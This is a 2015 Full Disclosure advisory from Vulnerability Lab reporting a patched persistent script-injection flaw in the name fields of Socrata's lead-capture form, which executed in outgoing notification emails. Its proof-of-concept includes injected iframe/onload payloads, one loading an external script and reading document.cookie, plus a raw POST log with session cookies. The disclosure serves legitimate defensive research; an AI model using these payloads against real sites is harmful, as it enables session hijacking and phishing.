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[FD] Socrata Bug Bounty #1 - Persistent Encoding Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Socrata Bug Bounty #1 - Persistent Encoding Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 23 Apr 2015 11:34:48 +0200
Document Title:
===============
Socrata Bug Bounty #1 - Persistent Encoding Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1438
Release Date:
=============
2015-04-22
Vulnerability Laboratory ID (VL-ID):
====================================
1438
Common Vulnerability Scoring System:
====================================
3.3
Product & Service Introduction:
===============================
Private Socrata Bug Bounty Program - BC
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input
validation vulnerability in the Socrata online service web-application.
Vulnerability Disclosure Timeline:
==================================
2015-02-24: Researcher Notification & Coordination (Benjamin Kunz Mejri -
Evolution Security GmbH)
2015-02-24: Vendor Notification (Socrata Security Team - Silent Bug Bounty
Program)
2015-02-24: Vendor Response/Feedback (Socrata Security Team - Silent Bug Bounty
Program)
2015-02-24: Vendor Fix/Patch (Socrata Developer Team)
2015-02-25: Bug Bounty Reward (Socrata Security Team - Silent Bug Bounty
Program)
2015-04-22: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Socrata Inc
Product: Socrata Online Service - Web Application 2015 Q1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An application-side mail encoding web vulnerability has been discovered in the
official Socrata online service web-application.
The vulnerability allows remote attackers to bypass the outgoing mail filter
validation of the socrata web-server & web-application.
The vulnerability is located in the first- and lastname values of the
`leadCapture/save` module. Remote attackers without privileged application
user account are able to inject persistent malicious script codes. The script
code execution occurs in the notification mail to the service but
also to the active user copy mail. The persistent injected script code executes
in the header section were the database context of the first- and
lastname will be displayed. The sender interacts automatically by usage of the
discover.socrata.com service. The validation of the db stored outgoing
values is wrong encoded and allows persistent injections of malicious script
codes via POST method. The attack vector is persistent and the request
method to inject is POST.
The security risk of the mail encoding web vulnerability is estimated as medium
with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the web vulnerability requires no privileged web-application
user account and low or medium user interaction because of the
persistent attack vector. Successful exploitation of the encoding vulnerability
results in session hijacking, persistent phishing, persistent
external redirects and persistent manipulation of web header or mail body
context.
Vulnerable Domain(s):
[+] discover.socrata.com
Vulnerable Module(s):
[+] index.php/leadCapture/save
Vulnerable Parameter(s):
[+] firstname
[+] lastname
Affected Sender(s):
[+] sales@xxxxxxxxxxx
Affected Receiver(s):
[+] bkm@xxxxxxxxxxxxxxxxx
Affected Context Module(s):
[+] Service Notification Mail (Users)
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged
application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Surf to the vulnerable service page
2. Inject payload to the firstname and lastname values
3. Save the content
4. View your mailbox to review the malicious mail
5 Successful reproduce of the security vulnerability!
PoC: Thank You for Downloading "The 2014 Benchmark Report"
<tbody><tr><td valign="top"><table border="0" cellpadding="0" cellspacing="0"
width="100%"><tbody>
<tr><td style="font-family:Helvecita, Arial,sans-serif; font-size:26px;
line-height:30px; color:#2f2b26;
padding:35px 20px 35px 20px; " align="center" valign="top"><div
id="TopHeadline" class="mktEditable">2014 Open Data Benchmark Report</div>
</td>
</tr>
<tr><td colspan="2" align="left" valign="top"><div class="headerDefault"><div
id="Header" class="mktEditable"></div>
</div>
</td>
</tr>
</tbody></table>
</td>
</tr>
<tr><td style="padding:25px 25px 50px 25px; "><table class="column1"
style="background:#fff; " align="left" border="0" cellpadding="0"
cellspacing="0"><tbody><tr><td style="font-family:Helvetica,Arial,sans-serif;
color:#928e8b; font-size:16px; line-height:20px;
padding-bottom:25px; " valign="top"><div id="SubHeadline"
class="mktEditable">Read the Full Report</div>
</td>
</tr>
<tr><td style="font-family:Helvetica,Arial,sans-serif; color:#555555;
font-size:12px; line-height:17px; " valign="top"><div id="Body"
class="mktEditable"><p style="margin-top: 0;">Hello ">[PERSISTENT INJECTED
SCRIPT CODE HERE!]<iframe src="http://www.evolution-sec.com/peng.js";
onload="alert(document.cookie),</p">
<p><span><p>Thank you for your interest in Socrata. You can download the 2014
Open Data Benchmark Study at any time by clicking the Download Now button
below.</p>
<p>An effective digital portal is the foundation of improving efficiency with
open data. Learn how the <a href=
"http://info.socrata.com/P000y0zS9I1GB80m0SpI193"; target="_blank"
>Socrata Open Data Portal</a> can help you streamline data publishing as well
>as enable others to search, query, and visualize your data with
>ease.</p></span></p>
<p>Sincerely,<br /> The Socrata Team </p></div>
<table border="0" cellspacing="0" cellpadding="0" width="130" ><tr ><td
valign="top" style="line-height:38px;">
<img
src="http://discover.socrata.com/rs/socrata/images/SOC-2001-EmailTemplate_button-bg-left.png";
width="4" height="38" style="display:block;"></td>
<td valign="middle" align="center" width="122" style="background:#3688c7;
font-family:Arial,sans-serif; font-size:11px; " id="cta" >
<div class="mktEditable" id="ctabutton" ><a style="color: #fff;
text-decoration: none;"
href="http://info.socrata.com/dc/etTJjiR4FWljikJd-Q32ft94T9WmU3brfUe91EtPV5Ni0xg-
fugbOrtKryWragOmEUOmuznx6oKiB7-ZI_vvTlWvpJxF-ZMxGVvTpDTBBgewMyZQls7ugS6M1FrTI_N_/DSz801n0IIS00m019y3G0z9">Download
Now</a></div>
</td>
<td valign="top" style="line-height:38px;"><img
src="http://discover.socrata.com/rs/socrata/images/SOC-2001-EmailTemplate_button-bg-right.png";
width="4" height="38" style="display:block;"></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
--- PoC Session Logs [POST] (Injection) ---
18:22:52.246[607ms][total 607ms] Status: 200[OK]
POST http://discover.socrata.com/index.php/leadCapture/save2 Load
Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[162] Mime
Type[application/json]
Request Header:
Host[discover.socrata.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101
Firefox/35.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report]
Content-Length[1547]
Cookie[_ga=GA1.2.1116345037.1424797254;
_mkto_trk=id:851-SII-641&token:_mch-socrata.com-1424797253790-11625;
BIGipServerabkweb_app_http=805830922.20480.0000;
_ga=GA1.3.1116345037.1424797254;
__ar_v4=VEJ5FE467RDKVEKTJM4OBA%3A20150226%3A4%7CYVZAENVZKNFATNFDNV7HDD%3A20150226%3A6%7CBASXJGCN7FCI5NFI65M4R7%3A20150226%3A6%7CZV6R5RYQUZFC7NTFHALGCQ%3A20150226%3A2;
_bizo_bzid=2dccc537-d055-4ced-8648-cc5eff5e5db6; _bizo_cksm=2A2F66AADC1BB497;
_bizo_np_stats=14%3D75%2C; __csess=1424799445047.9ZTM9L.; _gat_UA-9046230-4=1;
__cdrop=.7YI4DD.]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
FirstName[%22%3E%3Ciframe%20src%3Da%20onload%3Dalert(%22PENTEST%22)]
LastName[%22%3E%3Ciframe%20src%3Da%20onload%3Dalert(%22PENTEST%22)%20%3C]
Email[bkm%40evolution-sec.com]
Company[sap%20epi]
Title[pentester%2023%20ONE]
testtest__c[]
Opt_in_Checkbox__c[Yes]
UTM_Term__c[]
UTM_Source__c[website]
UTM_Medium__c[organic]
UTM_Content__c[benchmark-ctas]
UTM_Campaign__c[2014-benchmark-report]
RF_HQ_Company_Name__c[]
RF_MS_Address1__c[]
RF_MS_Address2__c[]
RF_MS_Annual_Revenue__c[]
RF_MS_City__c[]
RF_MS_Company_Name__c[]
RF_MS_Confidence_Level__c[not%20found]
RF_MS_Employee_Location_Count__c[]
RF_MS_Employee_Total_Count__c[]
RF_MS_Inferred_Area_Code__c[]
RF_MS_Inferred_City__c[Heidelberg]
RF_MS_Inferred_Country__c[Germany]
RF_MS_Inferred_State__c[Baden-Wurttemberg]
RF_MS_Location_Type__c[]
RF_MS_NAICS_Name__c[]
RF_MS_NAIC_Code__c[]
RF_MS_Phone__c[]
RF_MS_SIC__c[]
RF_MS_SIC_Code__c[]
RF_MS_SIC_Name__c[]
RF_MS_State_Code__c[]
RF_MS_State_Name__c[]
RF_MS_Subsidiary_Code__c[]
RF_MS_Trade_Name__c[]
RF_MS_URL__c[]
RF_MS_postal_Code__c[]
Qualification_PM_Highest_Priorities__c[Public%20Safety]
formid[1968]
lpId[4775]
subId[147]
munchkinId[851-SII-641]
lpurl[http%3A%2F%2Fdiscover.socrata.com%2F2014-Open-Data-Benchmark-Report_Landing-Page-B.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D]
cr[]
kw[]
q[]
_mkt_trk[id%3A851-SII-641%26token%3A_mch-socrata.com-1424797253790-11625]
formVid[1968]
_mktoReferrer[http%3A%2F%2Fdiscover.socrata.com%2F2014-open-data-benchmark-report.html%3Futm_source%3Dwebsite%26utm_medium%3Dorganic%26utm_content%3Dbenchmark-ctas%26utm_campaign%3D2014-benchmark-report]
Response Header:
Server[nginx]
Date[Tue, 24 Feb 2015 17:22:57 GMT]
Content-Type[application/json; charset=utf-8]
Content-Length[162]
Connection[keep-alive]
Access-Control-Allow-Origin[*]
Vary[Accept-Encoding]
Content-Encoding[gzip]
-
18:22:52.871[1070ms][total 1332ms] Status: 200[OK]
GET
http://discover.socrata.com/2014-benchmark-report-email-thank-you.html?aliId=5515772
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des
Inhalts[6524] Mime Type[text/html]
Request Header:
Host[discover.socrata.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101
Firefox/35.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report]
Cookie[_ga=GA1.2.1116345037.1424797254;
_mkto_trk=id:851-SII-641&token:_mch-socrata.com-1424797253790-11625;
BIGipServerabkweb_app_http=805830922.20480.0000;
_ga=GA1.3.1116345037.1424797254;
__ar_v4=VEJ5FE467RDKVEKTJM4OBA%3A20150226%3A4%7CYVZAENVZKNFATNFDNV7HDD%3A20150226%3A6%7CBASXJGCN7FCI5NFI65M4R7%3A20150226%3A6%7CZV6R5RYQUZFC7NTFHALGCQ%3A20150226%3A2;
_bizo_bzid=2dccc537-d055-4ced-8648-cc5eff5e5db6; _bizo_cksm=2A2F66AADC1BB497;
_bizo_np_stats=14%3D75%2C; __csess=1424799445047.9ZTM9L.; _gat_UA-9046230-4=1;
__cdrop=.7YI4DD.]
Connection[keep-alive]
Response Header:
Server[nginx]
Date[Tue, 24 Feb 2015 17:22:58 GMT]
Content-Type[text/html; charset=utf-8]
Content-Length[6524]
Connection[keep-alive]
p3p[CP="CAO CURa ADMa DEVa TAIa OUR IND UNI COM NAV INT"]
Vary[*,Accept-Encoding]
Content-Encoding[gzip]
Reference(s):
http://discover.socrata.com/index.php/leadCapture/save2
http://discover.socrata.com/2014-benchmark-report-email-thank-you.html?aliId=5515772
http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report
Solution - Fix & Patch:
=======================
Encode and Parse the firstname and lastname values in the contact formular.
Restrict the input to disallow injection of special chars or script codes.
Parse the outgoing contact of mails with user values to prevent persistent
script code execution in mail body with user values.
Security Risk:
==============
The security risk of the application-side mail encodeing web vulnerability is
estimated as medium. (CVSS 3.3)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
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=========================
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